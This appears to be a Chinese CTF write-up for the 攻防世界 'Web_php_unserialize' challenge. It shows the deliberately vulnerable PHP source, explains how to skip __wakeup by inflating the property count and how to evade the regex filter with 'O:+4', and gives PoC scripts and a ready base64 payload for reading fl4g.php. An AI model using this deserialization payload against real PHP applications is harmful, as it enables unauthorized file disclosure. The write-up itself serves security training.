攻防世界Web_php_unserialize

呼,心血来潮想做题,看到反序列化想看看,写个WP吧

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

反序列化部分:

链子不难,绕过个wakeup就行了,思路就是我们要实例化一个为fl4g.php的对象,然后序列化(序列化方式为base64加密),再传给后台的var变量,后台经过正则筛选,再进行反序列化,反序列化一开始会调用wakeup魔术方法,wakeup会让我们访问index.php,而不是我们要的fl4g.php,所以需要绕过wakeup

绕过wakeup

function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 

老生常谈,当序列化中的属性数大于实际的属性数时,则可跳过wakeup魔术方法的执行,什么意思呢,这道题如果我们不绕过wakeup魔术方法,那么payload是

O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

但是现在我们要绕过,所以我们的payload应该是

O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

因为该对象只有一个真实属性file而且是private修饰的,因此我们将属性数改为2或者任何大于1的数即可让__wakeup失效

protected属性被序列化的时候属性名会变成\x00*\x00属性名

private属性被序列化的时候属性名会变成\x00类名\x00属性名

其中:\x00表示空字符,但是还是占用一个字符位置

所以payload中serialize($a)执行后的序列化字符串中属性file变成Demofile,长度为10  实际上是\x00Demo\x00file        Demo为类名 file为属性名

特别注意的是,因为浏览器会自动解码\x00,因此你看到的最后序列化结果为O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";},并没有看到\x00,但实际base64编码是需要加上\x00的,所以最后这个base64编码需要使用php函数才有效(简单来说都在php环境中使用)如果你使用其它软件base64编码时,经过url解码后的序列化字符串(O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";})也是没有\x00的;但是,你可以使用bp的Decoder模块进行编码,将O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}中的Demo前后添加空字符00

正则部分:

if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    }

\d    匹配一个数字字符,等价于[0-9]

+     匹配前面的子表达式多次。例如,“ah+”可以匹配“ah”以及“ahhhhh”,但是不能匹配“a”

/i     匹配时候不区分大小写

poc:

<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$a=new Demo('fl4g.php');
$b= serialize($a);
echo $b ;//O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

或者

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$var = new Demo('fl4g.php');
$var = serialize($var);
var_dump($var);//string(48) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$var = str_replace('O:4', 'O:+4',$var);//绕过preg_match
$var = str_replace(':1:', ':2:',$var);//绕过wakeup
var_dump($var);//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
var_dump(base64_encode($var));#显示base64编码后的序列化字符串
//string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

姜小孩.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值